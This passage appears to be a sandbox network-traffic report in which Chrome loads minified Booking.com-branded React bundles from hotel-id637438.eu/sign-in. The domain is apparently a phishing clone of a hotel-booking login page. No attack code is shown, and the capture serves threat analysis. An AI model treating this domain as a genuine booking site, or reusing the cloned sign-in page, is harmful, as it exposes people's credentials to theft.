2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 3a 22 78 44 6d 51 56 4c 32 72 41 79 73 34 48 5f 69 47 5f 4e 64 51 22 2c 61 64 64 6f 6e 3a 22 63 38 64 70 72 5f 72 46 38 56 36 42 4a 51 4a 64 6d 56 4b 53 22 2c 64 65 63 6f 72 61 74 6f 72 3a 22 6e 77 44 51 79 69 51 6d 74 71 52 65 69 74 75 76 41 75 7a 43 22 2c 63 6f 6e 74 72 6f 6c 3a 22 59 79 50 53 34 43 43 79 42 63 30 39 77 50 49 45 44 68 66 36 22 2c 73 69 64 65 3a 22 5f 63 75 6a 6f 31 32 6a 64 65 4d 66 5f 71 4d 72 6f 53 4c 71 22 2c 22 72 6f 6f 74 2d 2d 62 6f 72 64 65 72 6c 65 73 73 22 3a 22 62 63 70 69 76 6c 58 58 38 42 37 45 7a 33 57 69 48 54 61 41 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 6c 61 72 67 65 22 3a 22 44 73 62 66 7a 57 38 5f 53 37 68 44 36 4c 4d 57 45 68 77 58 22 2c 22 72 6f 6f 74 2d 2d 73 74 61 74 75 73 2d 65 72 72 6f 72 22 3a 22 61 37 6a 57 Data Ascii: :"xDmQVL2rAys4H_iG_NdQ",addon:"c8dpr_rF8V6BJQJdmVKS",decorator:"nwDQyiQmtqReituvAuzC",control:"YyPS4CCyBc09wPIEDhf6",side:"_cujo12jdeMf_qMroSLq","root--borderless":"bcpivlXX8B7Ez3WiHTaA","root--size-large":"DsbfzW8_S7hD6LMWEhwX","root--status-error":"a7jW
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 61 6d 65 28 28 28 29 3d 3e 7b 48 2e 63 75 72 72 65 6e 74 26 26 21 48 2e 63 75 72 72 65 6e 74 2e 63 6f 6e 74 61 69 6e 73 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 26 26 7a 28 21 31 29 7d 29 29 3a 7a 28 21 31 29 7d 3b 59 26 26 28 47 3d 6e 75 6c 6c 2c 71 3d 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 66 2e 41 2e 41 6c 69 67 6e 65 72 2c 7b 61 6c 69 67 6e 6d 65 6e 74 3a 22 65 6e 64 22 7d 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 66 2e 41 2c 7b 76 61 72 69 61 6e 74 3a 22 74 65 72 74 69 61 72 79 2d 6e 65 75 74 72 61 6c 22 2c 73 69 7a 65 3a 6a 2c 6f 6e 43 6c 69 63 6b 3a 28 29 3d 3e 7b 63 6f 6e 73 74 20 74 3d 42 2e 63 75 72 72 65 6e 74 3b 69 66 28 21 74 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 65 3d 6e 65 77 20 45 76 65 Data Ascii: ame((()=>{H.current&&!H.current.contains(document.activeElement)&&z(!1)})):z(!1)};Y&&(G=null,q=r.createElement(f.A.Aligner,{alignment:"end"},r.createElement(f.A,{variant:"tertiary-neutral",size:j,onClick:()=>{const t=B.current;if(!t)return;const e=new Eve
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 7c 22 22 29 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 64 2c 7b 2e 2e 2e 74 2c 76 61 6c 75 65 3a 6f 2c 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 76 6f 69 64 20 30 2c 6f 6e 43 68 61 6e 67 65 3a 74 3d 3e 7b 69 28 74 2e 76 61 6c 75 65 29 2c 6e 26 26 6e 28 74 29 7d 7d 29 7d 2c 76 3d 74 3d 3e 7b 63 6f 6e 73 74 7b 76 61 6c 75 65 3a 65 7d 3d 74 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 65 3f 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 64 2c 7b 2e 2e 2e 74 7d 29 3a 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 70 2c 7b 2e 2e 2e 74 7d 29 7d 7d 2c 38 38 39 30 38 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 28 39 36 35 34 30 29 2c 6e 28 35 39 34 39 30 29 2c 6e 28 38 34 38 30 38 Data Ascii: \|"");return r.createElement(d,{...t,value:o,defaultValue:void 0,onChange:t=>{i(t.value),n&&n(t)}})},v=t=>{const{value:e}=t;return void 0!==e?r.createElement(d,{...t}):r.createElement(p,{...t})}},88908:function(t,e,n){"use strict";n(96540),n(59490),n(84808
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 2e 2e 2e 6e 3f 2e 73 74 79 6c 65 7c 7c 7b 7d 7d 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 77 2c 7b 2e 2e 2e 6e 2c 73 74 79 6c 65 3a 50 2c 63 6c 61 73 73 4e 61 6d 65 3a 41 7d 2c 62 3f 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 74 3d 28 30 2c 69 2e 41 29 28 6c 2c 7b 63 6f 6c 75 6d 6e 3a 21 31 2c 22 63 6f 6c 75 6d 6e 2d 72 65 76 65 72 73 65 22 3a 21 31 2c 72 6f 77 3a 21 30 2c 22 72 6f 77 2d 72 65 76 65 72 73 65 22 3a 21 30 7d 29 3b 72 65 74 75 72 6e 20 72 2e 43 68 69 6c 64 72 65 6e 2e 74 6f 41 72 72 61 79 28 66 29 2e 72 65 64 75 63 65 28 28 28 65 2c 6e 2c 69 29 3d 3e 28 69 3e 30 3f 65 2e 70 75 73 68 28 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 63 2e 41 2e 64 69 76 69 64 65 72 2c Data Ascii: ...n?.style\|\|{}};return r.createElement(w,{...n,style:P,className:A},b?(()=>{const t=(0,i.A)(l,{column:!1,"column-reverse":!1,row:!0,"row-reverse":!0});return r.Children.toArray(f).reduce(((e,n,i)=>(i>0?e.push(r.createElement("div",{className:c.A.divider,
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 7b 61 63 74 69 6f 6e 5f 6e 61 6d 65 3a 22 22 2e 63 6f 6e 63 61 74 28 61 2c 22 2e 22 29 2e 63 6f 6e 63 61 74 28 72 2e 43 4f 4d 50 4f 4e 45 4e 54 5f 45 52 52 4f 52 5f 53 48 4f 57 4e 29 2c 61 63 74 69 6f 6e 5f 76 65 72 73 69 6f 6e 3a 22 31 2e 30 2e 30 22 2c 63 6f 6e 74 65 6e 74 3a 65 7d 29 7d 7d 2c 37 36 39 33 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3b 6e 2e 64 28 65 2c 7b 62 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 52 45 51 55 49 52 45 44 3d 22 72 65 71 75 69 72 65 64 22 2c 74 2e 54 4f 4f 5f 53 48 4f 52 54 3d 22 74 6f 6f 5f 73 68 6f 72 74 22 2c 74 2e 49 4e 56 41 4c 49 44 3d 22 69 6e 76 61 6c 69 64 22 7d 28 72 7c 7c 28 Data Ascii: {action_name:"".concat(a,".").concat(r.COMPONENT_ERROR_SHOWN),action_version:"1.0.0",content:e})}},76931:function(t,e,n){"use strict";var r;n.d(e,{b:function(){return r}}),function(t){t.REQUIRED="required",t.TOO_SHORT="too_short",t.INVALID="invalid"}(r\|\|(
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 4e 56 41 4c 49 44 2c 6e 28 39 38 32 38 35 29 29 2c 64 3d 28 6f 2e 50 2e 52 45 51 55 49 52 45 44 2c 6c 2e 6f 2e 52 45 51 55 49 52 45 44 2c 6f 2e 50 2e 4c 45 4e 47 54 48 2c 6c 2e 6f 2e 54 4f 4f 5f 4c 4f 4e 47 2c 6e 28 35 35 32 35 34 29 2c 6e 28 39 36 32 30 37 29 29 2c 70 3d 28 6f 2e 50 2e 52 45 51 55 49 52 45 44 2c 64 2e 42 2e 52 45 51 55 49 52 45 44 2c 6e 28 31 39 32 33 35 29 29 2c 76 3d 6e 28 31 37 36 34 34 29 2c 68 3d 28 6f 2e 50 2e 52 45 51 55 49 52 45 44 2c 70 2e 44 30 2e 52 45 51 55 49 52 45 44 2c 6f 2e 50 2e 4f 4e 45 5f 4f 46 2c 76 2e 77 2e 50 41 53 53 50 4f 52 54 2c 76 2e 77 2e 49 44 5f 43 41 52 44 2c 70 2e 44 30 2e 49 4e 56 41 4c 49 44 2c 6f 2e 50 2e 52 45 51 55 49 52 45 44 2c 70 2e 62 66 2e 52 45 51 55 49 52 45 44 2c 6f 2e 50 2e 43 4f 55 4e 54 52 Data Ascii: NVALID,n(98285)),d=(o.P.REQUIRED,l.o.REQUIRED,o.P.LENGTH,l.o.TOO_LONG,n(55254),n(96207)),p=(o.P.REQUIRED,d.B.REQUIRED,n(19235)),v=n(17644),h=(o.P.REQUIRED,p.D0.REQUIRED,o.P.ONE_OF,v.w.PASSPORT,v.w.ID_CARD,p.D0.INVALID,o.P.REQUIRED,p.bf.REQUIRED,o.P.COUNTR
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 28 3f 3a 55 69 7c 49 29 6e 74 28 3f 3a 38 7c 31 36 7c 33 32 29 28 3f 3a 43 6c 61 6d 70 65 64 29 3f 41 72 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 3f 6f 28 74 2c 65 29 3a 76 6f 69 64 20 30 7d 7d 28 69 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 73 70 72 65 61 64 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 2e 5c 6e 49 6e 20 6f 72 64 65 72 20 74 6f 20 62 65 20 69 74 65 72 61 62 6c 65 2c 20 6e 6f 6e 2d 61 72 72 61 79 20 6f 62 6a 65 63 74 73 20 6d 75 73 74 20 68 61 76 65 20 61 20 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 20 6d 65 74 68 6f 64 2e 22 29 7d 28 29 29 7d 7d 7d 7d 7d 2c 32 31 38 36 30 3a 66 75 6e 63 Data Ascii: (?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n)?o(t,e):void 0}}(i)\|\|function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}())}}}}},21860:func
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 4f 62 6a 65 63 74 28 74 29 29 7b 76 61 72 20 6e 3d 5b 5d 2c 72 3d 21 30 2c 6f 3d 21 31 2c 69 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 61 2c 75 3d 74 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 72 3d 28 61 3d 75 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6e 2e 70 75 73 68 28 61 2e 76 61 6c 75 65 29 2c 21 65 7c 7c 6e 2e 6c 65 6e 67 74 68 21 3d 3d 65 29 3b 72 3d 21 30 29 3b 7d 63 61 74 63 68 28 74 29 7b 6f 3d 21 30 2c 69 3d 74 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 72 7c 7c 6e 75 6c 6c 3d 3d 75 2e 72 65 74 75 72 6e 7c 7c 75 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 Data Ascii: fined"!=typeof Symbol&&Symbol.iterator in Object(t)){var n=[],r=!0,o=!1,i=void 0;try{for(var a,u=t[Symbol.iterator]();!(r=(a=u.next()).done)&&(n.push(a.value),!e\|\|n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{r\|\|null==u.return\|\|u.return()}finally{if(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49732	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	615	OUT	GET /static/589_c56f1bb12a33c98c0094.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:27 UTC	665	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 528154 Connection: close last-modified: Sat, 06 Jul 2024 13:10:51 GMT etag: "c820c530d48071526204c3085e4b6bbd" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nWDHiCAQdfJOCD%2F3DFzPCu1cgx11DSJNoWvKXJdXdDRdBChVyRwxX3eK1iaUljfn6UT7uPzxBRqn1NTuPkESmXYZX3UKQXmGWZr1NePhhWIDNWfGw7ql0o%2B%2FAASFg1SFEHkqGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397e1a8211967-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:27 UTC	704	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 35 38 39 5f 63 35 36 66 31 62 62 31 32 61 33 33 63 39 38 63 30 30 39 34 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 38 39 5d 2c 7b 36 37 32 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 Data Ascii: /! For license information please see 589_c56f1bb12a33c98c0094.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[589],{67214:function(e,t,n){"use strict";var r
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 20 2e 39 38 32 20 39 2e 33 36 4c 31 20 39 2e 33 38 36 61 35 30 2e 37 20 35 30 2e 37 20 30 20 30 20 30 20 31 33 2e 36 32 20 31 33 2e 36 32 35 7a 6d 2e 37 39 38 2d 31 2e 32 37 41 34 39 2e 32 20 34 39 2e 32 20 30 20 30 20 31 20 32 2e 32 34 34 20 38 2e 35 35 6c 2d 2e 30 30 35 2d 2e 30 30 38 61 34 2e 37 38 20 34 2e 37 38 20 30 20 30 20 31 20 2e 36 36 32 2d 35 2e 39 33 38 6c 2e 37 37 34 2d 2e 37 37 34 61 31 2e 30 39 36 20 31 2e 30 39 36 20 30 20 30 20 31 20 31 2e 35 34 39 20 30 6c 33 2e 32 36 20 33 2e 32 36 34 76 2e 30 30 32 61 31 2e 30 39 20 31 2e 30 39 20 30 20 30 20 31 20 30 20 31 2e 35 34 35 20 32 2e 35 39 36 20 32 2e 35 39 36 20 30 20 30 20 30 20 30 20 33 2e 36 37 6c 35 2e 32 31 38 20 35 2e 32 32 2e 30 30 32 2e 30 30 31 61 32 2e 35 39 33 20 32 2e 35 39 33 Data Ascii: .982 9.36L1 9.386a50.7 50.7 0 0 0 13.62 13.625zm.798-1.27A49.2 49.2 0 0 1 2.244 8.55l-.005-.008a4.78 4.78 0 0 1 .662-5.938l.774-.774a1.096 1.096 0 0 1 1.549 0l3.26 3.264v.002a1.09 1.09 0 0 1 0 1.545 2.596 2.596 0 0 0 0 3.67l5.218 5.22.002.001a2.593 2.593
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 33 2e 37 35 20 33 2e 37 35 76 2d 31 2e 30 36 6c 2d 33 2e 37 35 20 33 2e 37 35 61 2e 37 35 2e 37 35 20 30 20 31 20 30 20 31 2e 30 36 20 31 2e 30 36 6d 2d 31 30 2e 36 34 38 2e 36 34 34 63 32 2e 37 31 39 20 35 2e 35 38 37 20 39 2e 34 35 32 20 37 2e 39 31 31 20 31 35 2e 30 33 39 20 35 2e 31 39 32 20 35 2e 35 38 36 2d 32 2e 37 32 20 37 2e 39 31 2d 39 2e 34 35 33 20 35 2e 31 39 31 2d 31 35 2e 30 34 53 31 33 2e 34 31 2d 2e 38 33 20 37 2e 38 32 33 20 31 2e 38 39 61 31 31 2e 32 35 20 31 31 2e 32 35 20 30 20 30 20 30 2d 35 20 34 2e 38 31 35 2e 37 35 2e 37 35 20 30 20 31 20 30 20 31 2e 33 32 34 2e 37 30 36 41 39 2e 37 35 20 39 2e 37 35 20 30 20 30 20 31 20 38 2e 34 38 20 33 2e 32 33 38 63 34 2e 38 34 31 2d 32 2e 33 35 37 20 31 30 2e 36 37 37 2d 2e 33 34 33 20 31 33 Data Ascii: 3.75 3.75v-1.06l-3.75 3.75a.75.75 0 1 0 1.06 1.06m-10.648.644c2.719 5.587 9.452 7.911 15.039 5.192 5.586-2.72 7.91-9.453 5.191-15.04S13.41-.83 7.823 1.89a11.25 11.25 0 0 0-5 4.815.75.75 0 1 0 1.324.706A9.75 9.75 0 0 1 8.48 3.238c4.841-2.357 10.677-.343 13
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 21 65 29 72 65 74 75 72 6e 3b 65 28 29 2c 28 30 2c 73 2e 6a 29 28 6c 29 2c 78 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 74 26 26 74 2e 72 65 6c 65 61 73 65 28 29 2c 65 3d 6e 75 6c 6c 2c 74 3d 6e 75 6c 6c 3b 63 6f 6e 73 74 20 69 3d 76 3f 6e 2e 72 65 6d 6f 76 65 54 69 6c 6c 28 76 2c 28 65 3d 3e 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6f 6e 74 61 69 6e 73 28 65 2e 74 72 69 67 67 65 72 45 6c 29 29 29 3a 76 6f 69 64 20 30 2c 63 3d 69 3f 2e 70 72 65 76 49 64 26 26 6e 2e 67 65 74 28 69 2e 70 72 65 76 49 64 29 3f 2e 72 6f 6f 74 45 6c 3b 63 26 26 75 28 63 2c 7b 72 65 6c 65 61 73 65 46 6f 63 75 73 54 61 72 67 65 74 54 72 69 67 67 65 72 3a 69 3f 2e 74 72 69 67 67 65 72 45 6c 7d 29 3b 63 6f 6e 73 74 20 66 3d 69 3f 2e 74 72 69 67 67 65 72 45 6c 7c 7c 67 3b 66 26 Data Ascii: !e)return;e(),(0,s.j)(l),x.disconnect(),t&&t.release(),e=null,t=null;const i=v?n.removeTill(v,(e=>document.body.contains(e.triggerEl))):void 0,c=i?.prevId&&n.get(i.prevId)?.rootEl;c&&u(c,{releaseFocusTargetTrigger:i?.triggerEl});const f=i?.triggerEl\|\|g;f&
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 7b 70 73 65 75 64 6f 46 6f 63 75 73 3a 6b 7d 29 7d 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 53 29 2c 65 3d 28 29 3d 3e 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 53 29 7d 3b 72 65 74 75 72 6e 20 78 2e 6f 62 73 65 72 76 65 28 7b 6f 6e 46 6f 63 75 73 55 70 64 61 74 65 3a 65 3d 3e 7b 28 30 2c 61 2e 70 57 29 28 65 29 7d 2c 6f 6e 46 6f 63 75 73 45 6e 61 62 6c 65 3a 28 29 3d 3e 7b 4f 28 29 7d 7d 29 2c 4f 28 29 2c 41 7d 7d 29 28 29 3b 74 2e 41 3d 75 7d 2c 31 32 34 32 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 6e 3d 7b 57 69 6e 3a 22 4d 65 74 61 22 2c 53 63 72 6f Data Ascii: {pseudoFocus:k})}document.addEventListener("keydown",S),e=()=>document.removeEventListener("keydown",S)};return x.observe({onFocusUpdate:e=>{(0,a.pW)(e)},onFocusEnable:()=>{O()}}),O(),A}})();t.A=u},12427:function(e,t){"use strict";const n={Win:"Meta",Scro
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 3a 43 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3a 4e 2c 6d 69 78 69 6e 3a 52 7d 3d 65 2c 49 3d 28 65 3d 3e 5b 22 6c 69 67 68 74 22 2c 22 74 65 72 74 69 61 72 79 2d 6e 65 75 74 72 61 6c 22 2c 22 74 65 72 74 69 61 72 79 2d 69 6e 68 65 72 69 74 22 5d 2e 69 6e 63 6c 75 64 65 73 28 65 29 3f 22 74 65 72 74 69 61 72 79 22 3a 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 29 28 66 29 2c 6a 3d 28 28 65 2c 74 29 3d 3e 5b 22 70 72 69 6d 61 72 79 22 2c 22 73 65 63 6f 6e 64 61 72 79 22 2c 22 74 65 72 74 69 61 72 79 22 2c 22 65 6c 65 76 61 74 65 64 22 5d 2e 69 6e 63 6c 75 64 65 73 28 65 29 3f 74 3f 22 64 65 73 74 72 75 63 74 69 76 65 22 3a 22 61 63 74 69 6f 6e 22 3a 5b 22 73 65 63 6f 6e 64 61 72 79 2d 6e 65 75 74 72 61 6c 22 2c 22 74 65 72 74 69 61 72 79 2d 6e 65 75 Data Ascii: :C,preventDefault:N,mixin:R}=e,I=(e=>["light","tertiary-neutral","tertiary-inherit"].includes(e)?"tertiary":e.split("-")[0])(f),j=((e,t)=>["primary","secondary","tertiary","elevated"].includes(e)?t?"destructive":"action":["secondary-neutral","tertiary-neu
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 2e 41 29 28 45 2c 7b 6c 61 72 67 65 3a 22 6d 65 64 69 75 6d 22 2c 6d 65 64 69 75 6d 3a 22 73 6d 61 6c 6c 22 7d 29 2c 61 72 69 61 4c 61 62 65 6c 3a 76 7d 29 29 2c 7a 28 22 73 74 61 72 74 22 29 2c 28 6e 7c 7c 41 29 26 26 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 6c 2e 41 2e 74 65 78 74 7d 2c 6e 7c 7c 41 29 2c 7a 28 22 65 6e 64 22 29 29 7d 29 29 3b 75 2e 41 6c 69 67 6e 65 72 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 63 68 69 6c 64 72 65 6e 3a 74 2c 61 6c 69 67 6e 6d 65 6e 74 3a 6e 2c 63 6c 61 73 73 4e 61 6d 65 3a 69 7d 3d 65 3b 6c 65 74 20 61 3d 5b 5d 3b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 61 3d 5b 6c 2e 41 5b 60 72 6f 6f 74 2d 2d 61 6c 69 67 6e 6d 65 6e 74 2d 24 7b 6e 7d 60 5d 5d 3a 41 Data Ascii: .A)(E,{large:"medium",medium:"small"}),ariaLabel:v})),z("start"),(n\|\|A)&&r.createElement("span",{className:l.A.text},n\|\|A),z("end"))}));u.Aligner=e=>{const{children:t,alignment:n,className:i}=e;let a=[];"string"==typeof n?a=[l.A[`root--alignment-${n}`]]:A
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 74 7b 69 64 3a 6e 2c 61 63 74 69 76 65 3a 75 2c 6c 6f 63 6b 43 6c 6f 73 65 3a 66 2c 6c 6f 63 6b 43 6c 6f 73 65 4f 6e 4f 75 74 73 69 64 65 43 6c 69 63 6b 3a 64 2c 6f 6e 4f 70 65 6e 3a 70 2c 6f 6e 41 66 74 65 72 4f 70 65 6e 3a 6d 2c 6f 6e 43 6c 6f 73 65 3a 68 2c 6f 6e 43 6c 6f 73 65 54 72 69 67 67 65 72 3a 76 2c 6f 6e 41 66 74 65 72 43 6c 6f 73 65 3a 67 2c 63 6c 61 73 73 4e 61 6d 65 3a 5f 2c 69 6e 6e 65 72 43 6c 61 73 73 4e 61 6d 65 3a 79 2c 66 69 6c 6c 3a 62 2c 61 74 74 72 69 62 75 74 65 73 3a 45 2c 7a 49 6e 64 65 78 3a 6b 2c 6b 65 65 70 4d 6f 75 6e 74 65 64 3a 77 2c 61 72 72 6f 77 4e 61 76 69 67 61 74 69 6f 6e 3a 78 2c 63 68 69 6c 64 72 65 6e 3a 41 2c 74 69 74 6c 65 3a 53 2c 73 75 62 74 69 74 6c 65 3a 4f 2c 66 6f 6f 74 65 72 3a 43 2c 73 74 69 63 6b 79 48 Data Ascii: t{id:n,active:u,lockClose:f,lockCloseOnOutsideClick:d,onOpen:p,onAfterOpen:m,onClose:h,onCloseTrigger:v,onAfterClose:g,className:_,innerClassName:y,fill:b,attributes:E,zIndex:k,keepMounted:w,arrowNavigation:x,children:A,title:S,subtitle:O,footer:C,stickyH
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 2c 4e 26 26 6c 2e 41 5b 22 68 65 61 64 65 72 2d 2d 73 74 69 63 6b 79 22 5d 29 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 7b 2e 2e 2e 45 2c 63 6c 61 73 73 4e 61 6d 65 3a 73 2c 73 74 79 6c 65 3a 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 7a 3f 7b 22 2d 2d 62 75 69 5f 73 68 65 65 74 5f 63 6f 6e 74 61 69 6e 65 72 5f 73 69 7a 65 22 3a 60 24 7b 7a 7d 70 78 60 7d 3a 76 6f 69 64 20 30 2c 72 65 66 3a 46 2c 72 6f 6c 65 3a 22 64 69 61 6c 6f 67 22 2c 22 61 72 69 61 2d 6d 6f 64 61 6c 22 3a 22 74 72 75 65 22 2c 22 61 72 69 61 2d 6c 61 62 65 6c 22 3a 54 2c 22 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 3a 53 3f 71 3a 76 6f 69 64 20 30 2c 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 22 3a 4f 3f 56 3a 76 6f Data Ascii: ,N&&l.A["header--sticky"]);return r.createElement("div",{...E,className:s,style:"number"==typeof z?{"--bui_sheet_container_size":`${z}px`}:void 0,ref:F,role:"dialog","aria-modal":"true","aria-label":T,"aria-labelledby":S?q:void 0,"aria-describedby":O?V:vo
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 2d 6c 22 3a 22 53 76 77 68 71 6a 49 53 65 76 4f 4f 43 49 54 5a 55 34 4b 45 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 6d 65 64 69 75 6d 2d 2d 6c 22 3a 22 77 55 68 54 4a 57 4b 4a 38 79 42 6b 67 50 71 64 77 51 71 74 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 6c 61 72 67 65 2d 2d 6c 22 3a 22 46 4d 67 6f 36 39 55 59 79 68 76 32 6e 70 35 58 51 56 42 67 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 6c 61 72 67 65 72 2d 2d 6c 22 3a 22 67 79 79 79 6d 4b 61 47 4f 47 72 6c 57 56 46 6e 59 39 77 68 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 2d 78 6c 22 3a 22 71 39 6b 35 59 56 65 55 73 59 4f 59 67 6a 75 32 39 53 77 44 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 6d 65 64 69 75 6d 2d 2d 78 6c 22 3a 22 42 51 34 66 78 69 51 6c Data Ascii: 